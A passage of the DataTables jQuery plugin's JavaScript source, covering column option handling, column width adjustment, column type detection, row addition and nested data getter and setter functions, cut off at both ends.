oSettings.aoPreSearchCols[ iCol ] === undefined || oSettings.aoPreSearchCols[ iCol ] === null )\n\t\t{\n\t\t\toSettings.aoPreSearchCols[ iCol ] = $.extend( true, {}, DataTable.models.oSearch );\n\t\t}\n\t\telse\n\t\t{\n\t\t\tvar oPre = oSettings.aoPreSearchCols[ iCol ];\n\t\n\t\t\t/* Don't require that the user must specify bRegex, bSmart or bCaseInsensitive */\n\t\t\tif ( oPre.bRegex === undefined )\n\t\t\t{\n\t\t\t\toPre.bRegex = true;\n\t\t\t}\n\t\n\t\t\tif ( oPre.bSmart === undefined )\n\t\t\t{\n\t\t\t\toPre.bSmart = true;\n\t\t\t}\n\t\n\t\t\tif ( oPre.bCaseInsensitive === undefined )\n\t\t\t{\n\t\t\t\toPre.bCaseInsensitive = true;\n\t\t\t}\n\t\t}\n\t\n\t\t/* Use the column options function to initialise classes etc */\n\t\t_fnColumnOptions( oSettings, iCol, null );\n\t}\n\t\n\t\n\t/**\n\t * Apply options for a column\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {int} iCol column index to consider\n\t *  @param {object} oOptions object with sType, bVisible and bSearchable etc\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnColumnOptions( oSettings, iCol, oOptions )\n\t{\n\t\tvar oCol = oSettings.aoColumns[ iCol ];\n\t\tvar oClasses = oSettings.oClasses;\n\t\n\t\t/* User specified column options */\n\t\tif ( oOptions !== undefined && oOptions !== null )\n\t\t{\n\t\t\t// Backwards compatibility\n\t\t\t_fnCompatCols( oOptions );\n\t\n\t\t\t// Map camel case parameters to their Hungarian counterparts\n\t\t\t_fnCamelToHungarian( DataTable.defaults.column, oOptions );\n\t\n\t\t\t/* Backwards compatibility for mDataProp */\n\t\t\tif ( oOptions.mDataProp !== undefined && !oOptions.mData )\n\t\t\t{\n\t\t\t\toOptions.mData = oOptions.mDataProp;\n\t\t\t}\n\t\n\t\t\toCol._sManualType = oOptions.sType;\n\t\n\t\t\t// `class` is a reserved word in Javascript, so we need to provide\n\t\t\t// the ability to use a valid name for the camel case input\n\t\t\tif ( oOptions.className && ! oOptions.sClass )\n\t\t\t{\n\t\t\t\toOptions.sClass = oOptions.className;\n\t\t\t}\n\t\n\t\t\t$.extend( oCol, oOptions );\n\t\t\t_fnMap( oCol, oOptions, \"sWidth\", \"sWidthOrig\" );\n\t\n\t\t\t/* iDataSort to be applied (backwards compatibility), but aDataSort will take\n\t\t\t * priority if defined\n\t\t\t */\n\t\t\tif ( typeof oOptions.iDataSort === 'number' )\n\t\t\t{\n\t\t\t\toCol.aDataSort = [ oOptions.iDataSort ];\n\t\t\t}\n\t\t\t_fnMap( oCol, oOptions, \"aDataSort\" );\n\t\t}\n\t\n\t\t/* Cache the data get and set functions for speed */\n\t\tvar mDataSrc = oCol.mData;\n\t\tvar mData = _fnGetObjectDataFn( mDataSrc );\n\t\tvar mRender = oCol.mRender ? _fnGetObjectDataFn( oCol.mRender ) : null;\n\t\n\t\tvar attrTest = function( src ) {\n\t\t\treturn typeof src === 'string' && src.indexOf('@') !== -1;\n\t\t};\n\t\toCol._bAttrSrc = $.isPlainObject( mDataSrc ) && (\n\t\t\tattrTest(mDataSrc.sort) || attrTest(mDataSrc.type) || attrTest(mDataSrc.filter)\n\t\t);\n\t\n\t\toCol.fnGetData = function (oData, sSpecific) {\n\t\t\tvar innerData = mData( oData, sSpecific );\n\t\n\t\t\tif ( oCol.mRender && (sSpecific && sSpecific !== '') )\n\t\t\t{\n\t\t\t\treturn mRender( innerData, sSpecific, oData );\n\t\t\t}\n\t\t\treturn innerData;\n\t\t};\n\t\toCol.fnSetData = _fnSetObjectDataFn( mDataSrc );\n\t\n\t\t/* Feature sorting overrides column specific when off */\n\t\tif ( !oSettings.oFeatures.bSort )\n\t\t{\n\t\t\toCol.bSortable = false;\n\t\t}\n\t\n\t\t/* Check that the class assignment is correct for sorting */\n\t\tvar bAsc = $.inArray('asc', oCol.asSorting) !== -1;\n\t\tvar bDesc = $.inArray('desc', oCol.asSorting) !== -1;\n\t\tif ( !oCol.bSortable || (!bAsc && !bDesc) )\n\t\t{\n\t\t\toCol.sSortingClass = oClasses.sSortableNone;\n\t\t\toCol.sSortingClassJUI = \"\";\n\t\t}\n\t\telse if ( bAsc && !bDesc )\n\t\t{\n\t\t\toCol.sSortingClass = oClasses.sSortableAsc;\n\t\t\toCol.sSortingClassJUI = oClasses.sSortJUIAscAllowed;\n\t\t}\n\t\telse if ( !bAsc && bDesc )\n\t\t{\n\t\t\toCol.sSortingClass = oClasses.sSortableDesc;\n\t\t\toCol.sSortingClassJUI = oClasses.sSortJUIDescAllowed;\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Adjust the table column widths for new data. Note: you would probably want to\n\t * do a redraw after calling this function!\n\t *  @param {object} settings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnAdjustColumnSizing ( settings )\n\t{\n\t\t/* Not interested in doing column width calculation if auto-width is disabled */\n\t\tif ( settings.oFeatures.bAutoWidth !== false )\n\t\t{\n\t\t\tvar columns = settings.aoColumns;\n\t\n\t\t\t_fnCalculateColumnWidths( settings );\n\t\t\tfor ( var i=0 , iLen=columns.length ; i<iLen ; i++ )\n\t\t\t{\n\t\t\t\tcolumns[i].nTh.style.width = columns[i].sWidth;\n\t\t\t}\n\t\t}\n\t\n\t\tvar scroll = settings.oScroll;\n\t\tif ( scroll.sY !== '' || scroll.sX !== '')\n\t\t{\n\t\t\t_fnScrollDraw( settings );\n\t\t}\n\t\n\t\t_fnCallbackFire( settings, null, 'column-sizing', [settings] );\n\t}\n\t\n\t\n\t/**\n\t * Covert the index of a visible column to the index in the data array (take account\n\t * of hidden columns)\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {int} iMatch Visible column index to lookup\n\t *  @returns {int} i the data index\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnVisibleToColumnIndex( oSettings, iMatch )\n\t{\n\t\tvar aiVis = _fnGetColumns( oSettings, 'bVisible' );\n\t\n\t\treturn typeof aiVis[iMatch] === 'number' ?\n\t\t\taiVis[iMatch] :\n\t\t\tnull;\n\t}\n\t\n\t\n\t/**\n\t * Covert the index of an index in the data array and convert it to the visible\n\t *   column index (take account of hidden columns)\n\t *  @param {int} iMatch Column index to lookup\n\t *  @param {object} oSettings dataTables settings object\n\t *  @returns {int} i the data index\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnColumnIndexToVisible( oSettings, iMatch )\n\t{\n\t\tvar aiVis = _fnGetColumns( oSettings, 'bVisible' );\n\t\tvar iPos = $.inArray( iMatch, aiVis );\n\t\n\t\treturn iPos !== -1 ? iPos : null;\n\t}\n\t\n\t\n\t/**\n\t * Get the number of visible columns\n\t *  @param {object} oSettings dataTables settings object\n\t *  @returns {int} i the number of visible columns\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnVisbleColumns( oSettings )\n\t{\n\t\treturn _fnGetColumns( oSettings, 'bVisible' ).length;\n\t}\n\t\n\t\n\t/**\n\t * Get an array of column indexes that match a given property\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {string} sParam Parameter in aoColumns to look for - typically\n\t *    bVisible or bSearchable\n\t *  @returns {array} Array of indexes with matched properties\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnGetColumns( oSettings, sParam )\n\t{\n\t\tvar a = [];\n\t\n\t\t$.map( oSettings.aoColumns, function(val, i) {\n\t\t\tif ( val[sParam] ) {\n\t\t\t\ta.push( i );\n\t\t\t}\n\t\t} );\n\t\n\t\treturn a;\n\t}\n\t\n\t\n\tfunction _fnColumnTypes ( settings )\n\t{\n\t\tvar columns = settings.aoColumns;\n\t\tvar data = settings.aoData;\n\t\tvar types = DataTable.ext.type.detect;\n\t\tvar i, ien, j, jen, k, ken;\n\t\tvar col, cell, detectedType, cache;\n\t\n\t\t// For each column, spin over the \n\t\tfor ( i=0, ien=columns.length ; i<ien ; i++ ) {\n\t\t\tcol = columns[i];\n\t\t\tcache = [];\n\t\n\t\t\tif ( ! col.sType && col._sManualType ) {\n\t\t\t\tcol.sType = col._sManualType;\n\t\t\t}\n\t\t\telse if ( ! col.sType ) {\n\t\t\t\tfor ( j=0, jen=types.length ; j<jen ; j++ ) {\n\t\t\t\t\tfor ( k=0, ken=data.length ; k<ken ; k++ ) {\n\t\t\t\t\t\t// Use a cache array so we only need to get the type data\n\t\t\t\t\t\t// from the formatter once (when using multiple detectors)\n\t\t\t\t\t\tif ( cache[k] === undefined ) {\n\t\t\t\t\t\t\tcache[k] = _fnGetCellData( settings, k, i, 'type' );\n\t\t\t\t\t\t}\n\t\n\t\t\t\t\t\tdetectedType = types[j]( cache[k] );\n\t\n\t\t\t\t\t\t// Doesn't match, so break early, since this type can't\n\t\t\t\t\t\t// apply to this column. Also, HTML is a special case since\n\t\t\t\t\t\t// it is so similar to `string`. Just a single match is\n\t\t\t\t\t\t// needed for a column to be html type\n\t\t\t\t\t\tif ( ! detectedType || detectedType === 'html' ) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\n\t\t\t\t\t// Type is valid for all data points in the column - use this\n\t\t\t\t\t// type\n\t\t\t\t\tif ( detectedType ) {\n\t\t\t\t\t\tcol.sType = detectedType;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\n\t\t\t\t// Fall back - if no type was detected, always use string\n\t\t\t\tif ( ! col.sType ) {\n\t\t\t\t\tcol.sType = 'string';\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Take the column definitions and static columns arrays and calculate how\n\t * they relate to column indexes. The callback function will then apply the\n\t * definition found for a column to a suitable configuration object.\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {array} aoColDefs The aoColumnDefs array that is to be applied\n\t *  @param {array} aoCols The aoColumns array that defines columns individually\n\t *  @param {function} fn Callback function - takes two parameters, the calculated\n\t *    column index and the definition for that column.\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnApplyColumnDefs( oSettings, aoColDefs, aoCols, fn )\n\t{\n\t\tvar i, iLen, j, jLen, k, kLen, def;\n\t\n\t\t// Column definitions with aTargets\n\t\tif ( aoColDefs )\n\t\t{\n\t\t\t/* Loop over the definitions array - loop in reverse so first instance has priority */\n\t\t\tfor ( i=aoColDefs.length-1 ; i>=0 ; i-- )\n\t\t\t{\n\t\t\t\tdef = aoColDefs[i];\n\t\n\t\t\t\t/* Each definition can target multiple columns, as it is an array */\n\t\t\t\tvar aTargets = def.targets !== undefined ?\n\t\t\t\t\tdef.targets :\n\t\t\t\t\tdef.aTargets;\n\t\n\t\t\t\tif ( ! $.isArray( aTargets ) )\n\t\t\t\t{\n\t\t\t\t\taTargets = [ aTargets ];\n\t\t\t\t}\n\t\n\t\t\t\tfor ( j=0, jLen=aTargets.length ; j<jLen ; j++ )\n\t\t\t\t{\n\t\t\t\t\tif ( typeof aTargets[j] === 'number' && aTargets[j] >= 0 )\n\t\t\t\t\t{\n\t\t\t\t\t\t/* Add columns that we don't yet know about */\n\t\t\t\t\t\twhile( oSettings.aoColumns.length <= aTargets[j] )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t_fnAddColumn( oSettings );\n\t\t\t\t\t\t}\n\t\n\t\t\t\t\t\t/* Integer, basic index */\n\t\t\t\t\t\tfn( aTargets[j], def );\n\t\t\t\t\t}\n\t\t\t\t\telse if ( typeof aTargets[j] === 'number' && aTargets[j] < 0 )\n\t\t\t\t\t{\n\t\t\t\t\t\t/* Negative integer, right to left column counting */\n\t\t\t\t\t\tfn( oSettings.aoColumns.length+aTargets[j], def );\n\t\t\t\t\t}\n\t\t\t\t\telse if ( typeof aTargets[j] === 'string' )\n\t\t\t\t\t{\n\t\t\t\t\t\t/* Class name matching on TH element */\n\t\t\t\t\t\tfor ( k=0, kLen=oSettings.aoColumns.length ; k<kLen ; k++ )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ( aTargets[j] == \"_all\" ||\n\t\t\t\t\t\t\t     $(oSettings.aoColumns[k].nTh).hasClass( aTargets[j] ) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tfn( k, def );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\n\t\t// Statically defined columns array\n\t\tif ( aoCols )\n\t\t{\n\t\t\tfor ( i=0, iLen=aoCols.length ; i<iLen ; i++ )\n\t\t\t{\n\t\t\t\tfn( i, aoCols[i] );\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/**\n\t * Add a data array to the table, creating DOM node etc. This is the parallel to\n\t * _fnGatherData, but for adding rows from a Javascript source, rather than a\n\t * DOM source.\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {array} aData data array to be added\n\t *  @param {node} [nTr] TR element to add to the table - optional. If not given,\n\t *    DataTables will create a row automatically\n\t *  @param {array} [anTds] Array of TD|TH elements for the row - must be given\n\t *    if nTr is.\n\t *  @returns {int} >=0 if successful (index of new aoData entry), -1 if failed\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnAddData ( oSettings, aDataIn, nTr, anTds )\n\t{\n\t\t/* Create the object for storing information about this new row */\n\t\tvar iRow = oSettings.aoData.length;\n\t\tvar oData = $.extend( true, {}, DataTable.models.oRow, {\n\t\t\tsrc: nTr ? 'dom' : 'data'\n\t\t} );\n\t\n\t\toData._aData = aDataIn;\n\t\toSettings.aoData.push( oData );\n\t\n\t\t/* Create the cells */\n\t\tvar nTd, sThisType;\n\t\tvar columns = oSettings.aoColumns;\n\t\tfor ( var i=0, iLen=columns.length ; i<iLen ; i++ )\n\t\t{\n\t\t\t// When working with a row, the data source object must be populated. In\n\t\t\t// all other cases, the data source object is already populated, so we\n\t\t\t// don't overwrite it, which might break bindings etc\n\t\t\tif ( nTr ) {\n\t\t\t\t_fnSetCellData( oSettings, iRow, i, _fnGetCellData( oSettings, iRow, i ) );\n\t\t\t}\n\t\t\tcolumns[i].sType = null;\n\t\t}\n\t\n\t\t/* Add to the display array */\n\t\toSettings.aiDisplayMaster.push( iRow );\n\t\n\t\t/* Create the DOM information */\n\t\tif ( !oSettings.oFeatures.bDeferRender )\n\t\t{\n\t\t\t_fnCreateTr( oSettings, iRow, nTr, anTds );\n\t\t}\n\t\n\t\treturn iRow;\n\t}\n\t\n\t\n\t/**\n\t * Add one or more TR elements to the table. Generally we'd expect to\n\t * use this for reading data from a DOM sourced table, but it could be\n\t * used for an TR element. Note that if a TR is given, it is used (i.e.\n\t * it is not cloned).\n\t *  @param {object} settings dataTables settings object\n\t *  @param {array|node|jQuery} trs The TR element(s) to add to the table\n\t *  @returns {array} Array of indexes for the added rows\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnAddTr( settings, trs )\n\t{\n\t\tvar row;\n\t\n\t\t// Allow an individual node to be passed in\n\t\tif ( ! (trs instanceof $) ) {\n\t\t\ttrs = $(trs);\n\t\t}\n\t\n\t\treturn trs.map( function (i, el) {\n\t\t\trow = _fnGetRowElements( settings, el );\n\t\t\treturn _fnAddData( settings, row.data, el, row.cells );\n\t\t} );\n\t}\n\t\n\t\n\t/**\n\t * Take a TR element and convert it to an index in aoData\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {node} n the TR element to find\n\t *  @returns {int} index if the node is found, null if not\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnNodeToDataIndex( oSettings, n )\n\t{\n\t\treturn (n._DT_RowIndex!==undefined) ? n._DT_RowIndex : null;\n\t}\n\t\n\t\n\t/**\n\t * Take a TD element and convert it into a column data index (not the visible index)\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {int} iRow The row number the TD/TH can be found in\n\t *  @param {node} n The TD/TH element to find\n\t *  @returns {int} index if the node is found, -1 if not\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnNodeToColumnIndex( oSettings, iRow, n )\n\t{\n\t\treturn $.inArray( n, oSettings.aoData[ iRow ].anCells );\n\t}\n\t\n\t\n\t/**\n\t * Get an array of data for a given row from the internal data cache\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {int} iRow aoData row id\n\t *  @param {string} sSpecific data get type ('type' 'filter' 'sort')\n\t *  @param {array} aiColumns Array of column indexes to get data from\n\t *  @returns {array} Data array\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnGetRowData( oSettings, iRow, sSpecific, aiColumns )\n\t{\n\t\tvar out = [];\n\t\tfor ( var i=0, iLen=aiColumns.length ; i<iLen ; i++ )\n\t\t{\n\t\t\tout.push( _fnGetCellData( oSettings, iRow, aiColumns[i], sSpecific ) );\n\t\t}\n\t\treturn out;\n\t}\n\t\n\t\n\t/**\n\t * Get the data for a given cell from the internal cache, taking into account data mapping\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {int} iRow aoData row id\n\t *  @param {int} iCol Column index\n\t *  @param {string} sSpecific data get type ('display', 'type' 'filter' 'sort')\n\t *  @returns {*} Cell data\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnGetCellData( oSettings, iRow, iCol, sSpecific )\n\t{\n\t\tvar oCol = oSettings.aoColumns[iCol];\n\t\tvar oData = oSettings.aoData[iRow]._aData;\n\t\tvar sData = oCol.fnGetData( oData, sSpecific );\n\t\n\t\tif ( sData === undefined )\n\t\t{\n\t\t\tif ( oSettings.iDrawError != oSettings.iDraw && oCol.sDefaultContent === null )\n\t\t\t{\n\t\t\t\t_fnLog( oSettings, 0, \"Requested unknown parameter \"+\n\t\t\t\t\t(typeof oCol.mData=='function' ? '{function}' : \"'\"+oCol.mData+\"'\")+\n\t\t\t\t\t\" for row \"+iRow, 4 );\n\t\t\t\toSettings.iDrawError = oSettings.iDraw;\n\t\t\t}\n\t\t\treturn oCol.sDefaultContent;\n\t\t}\n\t\n\t\t/* When the data source is null, we can use default column data */\n\t\tif ( (sData === oData || sData === null) && oCol.sDefaultContent !== null )\n\t\t{\n\t\t\tsData = oCol.sDefaultContent;\n\t\t}\n\t\telse if ( typeof sData === 'function' )\n\t\t{\n\t\t\t// If the data source is a function, then we run it and use the return\n\t\t\treturn sData();\n\t\t}\n\t\n\t\tif ( sData === null && sSpecific == 'display' )\n\t\t{\n\t\t\treturn '';\n\t\t}\n\t\treturn sData;\n\t}\n\t\n\t\n\t/**\n\t * Set the value for a specific cell, into the internal data cache\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {int} iRow aoData row id\n\t *  @param {int} iCol Column index\n\t *  @param {*} val Value to set\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnSetCellData( oSettings, iRow, iCol, val )\n\t{\n\t\tvar oCol = oSettings.aoColumns[iCol];\n\t\tvar oData = oSettings.aoData[iRow]._aData;\n\t\n\t\toCol.fnSetData( oData, val );\n\t}\n\t\n\t\n\t// Private variable that is used to match action syntax in the data property object\n\tvar __reArray = /\\[.*?\\]$/;\n\tvar __reFn = /\\(\\)$/;\n\t\n\t/**\n\t * Split string on periods, taking into account escaped periods\n\t * @param  {string} str String to split\n\t * @return {array} Split string\n\t */\n\tfunction _fnSplitObjNotation( str )\n\t{\n\t\treturn $.map( str.match(/(\\\\.|[^\\.])+/g), function ( s ) {\n\t\t\treturn s.replace('\\\\.', '.');\n\t\t} );\n\t}\n\t\n\t\n\t/**\n\t * Return a function that can be used to get data from a source object, taking\n\t * into account the ability to use nested objects as a source\n\t *  @param {string|int|function} mSource The data source for the object\n\t *  @returns {function} Data get function\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnGetObjectDataFn( mSource )\n\t{\n\t\tif ( $.isPlainObject( mSource ) )\n\t\t{\n\t\t\t/* Build an object of get functions, and wrap them in a single call */\n\t\t\tvar o = {};\n\t\t\t$.each( mSource, function (key, val) {\n\t\t\t\tif ( val ) {\n\t\t\t\t\to[key] = _fnGetObjectDataFn( val );\n\t\t\t\t}\n\t\t\t} );\n\t\n\t\t\treturn function (data, type, extra) {\n\t\t\t\treturn o[ o[type] !== undefined ? type : '_' ](data, type, extra);\n\t\t\t};\n\t\t}\n\t\telse if ( mSource === null )\n\t\t{\n\t\t\t/* Give an empty string for rendering / sorting etc */\n\t\t\treturn function (data, type) {\n\t\t\t\treturn data;\n\t\t\t};\n\t\t}\n\t\telse if ( typeof mSource === 'function' )\n\t\t{\n\t\t\treturn function (data, type, extra) {\n\t\t\t\treturn mSource( data, type, extra );\n\t\t\t};\n\t\t}\n\t\telse if ( typeof mSource === 'string' && (mSource.indexOf('.') !== -1 ||\n\t\t\t      mSource.indexOf('[') !== -1 || mSource.indexOf('(') !== -1) )\n\t\t{\n\t\t\t/* If there is a . in the source string then the data source is in a\n\t\t\t * nested object so we loop over the data for each level to get the next\n\t\t\t * level down. On each loop we test for undefined, and if found immediately\n\t\t\t * return. This allows entire objects to be missing and sDefaultContent to\n\t\t\t * be used if defined, rather than throwing an error\n\t\t\t */\n\t\t\tvar fetchData = function (data, type, src) {\n\t\t\t\tvar arrayNotation, funcNotation, out, innerSrc;\n\t\n\t\t\t\tif ( src !== \"\" )\n\t\t\t\t{\n\t\t\t\t\tvar a = _fnSplitObjNotation( src );\n\t\n\t\t\t\t\tfor ( var i=0, iLen=a.length ; i<iLen ; i++ )\n\t\t\t\t\t{\n\t\t\t\t\t\t// Check if we are dealing with special notation\n\t\t\t\t\t\tarrayNotation = a[i].match(__reArray);\n\t\t\t\t\t\tfuncNotation = a[i].match(__reFn);\n\t\n\t\t\t\t\t\tif ( arrayNotation )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// Array notation\n\t\t\t\t\t\t\ta[i] = a[i].replace(__reArray, '');\n\t\n\t\t\t\t\t\t\t// Condition allows simply [] to be passed in\n\t\t\t\t\t\t\tif ( a[i] !== \"\" ) {\n\t\t\t\t\t\t\t\tdata = data[ a[i] ];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tout = [];\n\t\n\t\t\t\t\t\t\t// Get the remainder of the nested object to get\n\t\t\t\t\t\t\ta.splice( 0, i+1 );\n\t\t\t\t\t\t\tinnerSrc = a.join('.');\n\t\n\t\t\t\t\t\t\t// Traverse each entry in the array getting the properties requested\n\t\t\t\t\t\t\tfor ( var j=0, jLen=data.length ; j<jLen ; j++ ) {\n\t\t\t\t\t\t\t\tout.push( fetchData( data[j], type, innerSrc ) );\n\t\t\t\t\t\t\t}\n\t\n\t\t\t\t\t\t\t// If a string is given in between the array notation indicators, that\n\t\t\t\t\t\t\t// is used to join the strings together, otherwise an array is returned\n\t\t\t\t\t\t\tvar join = arrayNotation[0].substring(1, arrayNotation[0].length-1);\n\t\t\t\t\t\t\tdata = (join===\"\") ? out : out.join(join);\n\t\n\t\t\t\t\t\t\t// The inner call to fetchData has already traversed through the remainder\n\t\t\t\t\t\t\t// of the source requested, so we exit from the loop\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if ( funcNotation )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// Function call\n\t\t\t\t\t\t\ta[i] = a[i].replace(__reFn, '');\n\t\t\t\t\t\t\tdata = data[ a[i] ]();\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\n\t\t\t\t\t\tif ( data === null || data[ a[i] ] === undefined )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\treturn undefined;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tdata = data[ a[i] ];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\n\t\t\t\treturn data;\n\t\t\t};\n\t\n\t\t\treturn function (data, type) {\n\t\t\t\treturn fetchData( data, type, mSource );\n\t\t\t};\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* Array or flat object mapping */\n\t\t\treturn function (data, type) {\n\t\t\t\treturn data[mSource];\n\t\t\t};\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Return a function that can be used to set data from a source object, taking\n\t * into account the ability to use nested objects as a source\n\t *  @param {string|int|function} mSource The data source for the object\n\t *  @returns {function} Data set function\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnSetObjectDataFn( mSource )\n\t{\n\t\tif ( $.isPlainObject( mSource ) )\n\t\t{\n\t\t\t/* Unlike get, only the underscore (global) option is used for for\n\t\t\t * setting data since we don't know the type here. This is why an object\n\t\t\t * option is not documented for `mData` (which is read/write), but it is\n\t\t\t * for `mRender` which is read only.\n\t\t\t */\n\t\t\treturn _fnSetObjectDataFn( mSource._ );\n\t\t}\n\t\telse if ( mSource === null )\n\t\t{\n\t\t\t/* Nothing to do when the data source is null */\n\t\t\treturn function (data, val) {};\n\t\t}\n\t\telse if ( typeof mSource === 'function' )\n\t\t{\n\t\t\treturn function (data, val) {\n\t\t\t\tmSource( data, 'set', val );\n\t\t\t};\n\t\t}\n\t\telse if ( typeof mSource === 'string' && (mSource.indexOf('.') !== -1 ||\n\t\t\t      mSource.indexOf('[') !== -1 || mSource.indexOf('(') !== -1) )\n\t\t{\n\t\t\t/* Like the get, we need to get data from a nested object */\n\t\t\tvar setData = function (data, val, src) {\n\t\t\t\tvar a = _fnSplitObjNotation( src ), b;\n\t\t\t\tvar aLast = a[a.length-1];\n\t\t\t\tvar arrayNotation, funcNotation, o, innerSrc;\n\t\n\t\t\t\tfor ( var i=0, iLen=a.length-1 ; i<iLen ; i++ )\n\t\t\t\t{\n\t\t\t\t\t// Check if we are dealing with an array notation request\n\t\t\t\t\tarrayNotation = a[i].match(__reArray);\n\t\t\t\t\tfuncNotation = a[i].match(__reFn);\n\t\n\t\t\t\t\tif ( arrayNotation )\n\t\t\t\t\t{\n\t\t\t\t\t\ta[i] = a[i].replace(__reArray, '');\n\t\t\t\t\t\tdata[ a[i] ] = [];\n\t\n\t\t\t\t\t\t// Get the remainder of the nested object to set so we can recurse\n\t\t\t\t\t\tb = a.slice();\n\t\t\t\t\t\tb.splice( 0, i+1 );\n\t\t\t\t\t\tinnerSrc = b.join('.');\n\t\n\t\t\t\t\t\t// Traverse each entry in the array setting the properties requested\n\t\t\t\t\t\tfor ( var j=0, jLen=val.length ; j<jLen ; j++ )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\to = {};\n\t\t\t\t\t\t\tsetData( o, val[j], innerSrc );\n\t\t\t\t\t\t\tdata[ a[i] ].push( o );\n\t\t\t\t\t\t}\n\t\n\t\t\t\t\t\t// The inner call to setData has already traversed through the remainder\n\t\t\t\t\t\t// of the source and has set the data, thus we can exit here\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\telse if ( funcNotation )\n\t\t\t\t\t{\n\t\t\t\t\t\t// Function call\n\t\t\t\t\t\ta[i] = a[i].replace(__reFn, '');\n\t\t\t\t\t\tdata = data[ a[i] ]( val );\n\t\t\t\t\t}\n\t\n\t\t\t\t\t// If the nested object doesn't currently exist - since we are\n\t\t\t\t\t// trying to set the value - create it\n\t\t\t\t\tif ( data[ a[i] ] === null || data[ a[i] ] === undefined )\n\t\t\t\t\t{\n\t\t\t\t\t\tdata[ a[i] ] = {};\n\t\t\t\t\t}\n\t\t\t\t\tdata = data[ a[i] ];\n\t\t\t\t}\n\t\n\t\t\t\t// Last item in the input - i.e, the actual set\n\t\t\t\tif ( aLast.match(__reFn ) )\n\t\t\t\t{\n\t\t\t\t\t// Function call\n\t\t\t\t\tdata = data[ aLast.replace(__reFn, '') ]( val );\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// If array notation is used, we just want to strip it and use the property name\n\t\t\t\t\t// and assign the value. If it isn't used, then we get the result we want anyway\n\t\t\t\t\tdata[ aLast.replace(__reArray, '') ] = val;\n\t\t\t\t}\n\t\t\t};\n\t\n\t\t\treturn function (data, val) {\n\t\t\t\treturn setData( data, val, mSource );\n\t\t\t};\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* Array or flat object mapping */\n\t\t\treturn function (data, val) {\n\t\t\t\tdata[mSource] = val;\n\t\t\t};\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Return an array with the full table data\n\t *  @param {object} oSettings dataTables settings object\n\t *  @returns array {array} aData Master data array\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnGetDataMaster ( settings )\n\t{\n\t\treturn _pluck( settings.aoData, '_aData' );\n\t}\n\t\n\t\n\t/**\n\t * Nuke the table\n\t *  @param {object} oSettings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnClearTable( settings )\n\t{\n\t\tsettings.aoData.length = 0;\n\t\tsettings.aiDisplayMaster.length = 0;\n\t\tsettings.aiDisplay.length = 0;\n\t}\n\t\n\t\n\t /**\n\t * Take an array of integers (index array) and remove a target integer (value - not\n\t * the key!)\n\t *  @param {array} a Index array to target\n\t *  @param {int} iTarget value to find\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnDeleteIndex( a, iTarget, splice )\n\t{\n\t\tvar iTargetIndex = -1;\n\t\n\t\tfor ( var i=0, iLen=a.length ; i<iLen ; i++ )\n\t\t{\n\t\t\tif ( a[i] == iTarget )\n\t\t\t{\n\t\t\t\tiTargetIndex = i;\n\t\t\t}\n\t\t\telse if ( a[i] > iTarget )\n\t\t\t{\n\t\t\t\ta[i]--;\n\t\t\t}\n\t\t}\n\t\n\t\tif ( iTargetIndex != -1 && splice === undefined )\n\t\t{\n\t\t\ta.splice( iTargetIndex, 1 );\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Mark cached data as invalid such that a re-read of the data will occur when\n\t * the cached data is next requested. Also update from the data source object.\n\t *\n\t * @param {object} settings DataTables settings object\n\t * @param  {int}    